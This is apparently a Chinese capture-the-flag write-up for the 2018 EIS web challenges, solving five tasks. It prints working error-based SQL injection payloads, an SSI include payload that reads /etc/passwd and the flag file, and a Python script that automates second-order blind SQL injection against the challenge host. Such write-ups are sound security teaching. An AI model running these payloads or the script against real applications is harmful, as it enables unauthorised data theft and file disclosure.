sky's blog

2018 EIS web

字数统计: 649阅读时长: 3 min
2018/11/16 Share
1
文章首发于先知 https://xz.aliyun.com/t/3310

SimpleBBS

随手登录一下

发现报错,于是尝试

1
admin' and (extractvalue(1,concat(0x7e,database())))#


1
admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#


1
admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#


1
admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#


前半段

1
'~EIS{7879f0a27d8bcfcff0bcc837d76'

1
admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#


后半段

1
~7641e81}

最后flag

1
EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleServerInjection

题目提示

1
SimpleServerInjection, SSI, flag in current directory

随即搜索SSI

1
https://blog.csdn.net/wutianxu123/article/details/82724637

结果这个文章第一个就是payload。。。

1
<!--#include virtual="/etc/passwd" -->

于是测试

1
http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->


得到flag

1
EIS{59f2c02f18838b3fb57dd57e2808f9c2}

SimpleExtensionExplorerInjection

题目提示XXE,直接xxe是不行的

所以需要改type

然后即可xxe读文件,得到flag

SimplePrintEventLogger

直接可以进行列目录

然后得到flag

不知道是不是非预期了?题目提示RCE,还有一个backdoor的路由没用上

SimpleBlog

发现题目提示2次注入

于是尝试注册

1
2
sky'
sky'#

发现前者分数都是0,后者有分数
那么可以判断,更新分数的时候使用了用户名
但是想要构造一般的bool盲注不行,因为必须sql语句报错
这里想到整数溢出问题

1
1' and if(1,exp(999999999999),1)#

这样即可使sql语句报错,导致出现

1
grade 0

而如果使用

1
1' and if(0,exp(999999999999),1)#

那么分数一切正常,于是可以利用这一点进行注入
编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
def reg(username,password='1'):
data = {
'username':username,
'password':password
}
url = 'http://210.32.4.20/register.php'
r = requests.post(url=url,data=data)
return r.headers['Set-Cookie'][10:-8]

def login(session,username,password='1'):
data = {
'username': username,
'password': password
}
cookie = {
'PHPSESSID':session
}
url = 'http://210.32.4.20/login.php'
r = requests.post(url=url, data=data,cookies=cookie)
data = {
'10.a':'on'
}
url = 'http://210.32.4.20/answer.php'
r = requests.post(url=url, data=data,cookies=cookie)
if 'Your grades is 0' in r.content:
return 1
url = 'http://210.32.4.20/logout.php'
r = requests.get(url=url,cookies=cookie)
return 0
flag = 'EIS{'
for i in range(5,1000):
for k in 'abcdef0123456789}':
j = ord(k)
payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
try:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break
except:
session = reg(payload)
if login(session,payload):
flag+=chr(j)
print flag
break


不知道题目提示文件包含是什么意思,可能非预期了?

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. SimpleBBS
  2. 2. SimpleServerInjection
  3. 3. SimpleExtensionExplorerInjection
  4. 4. SimplePrintEventLogger
  5. 5. SimpleBlog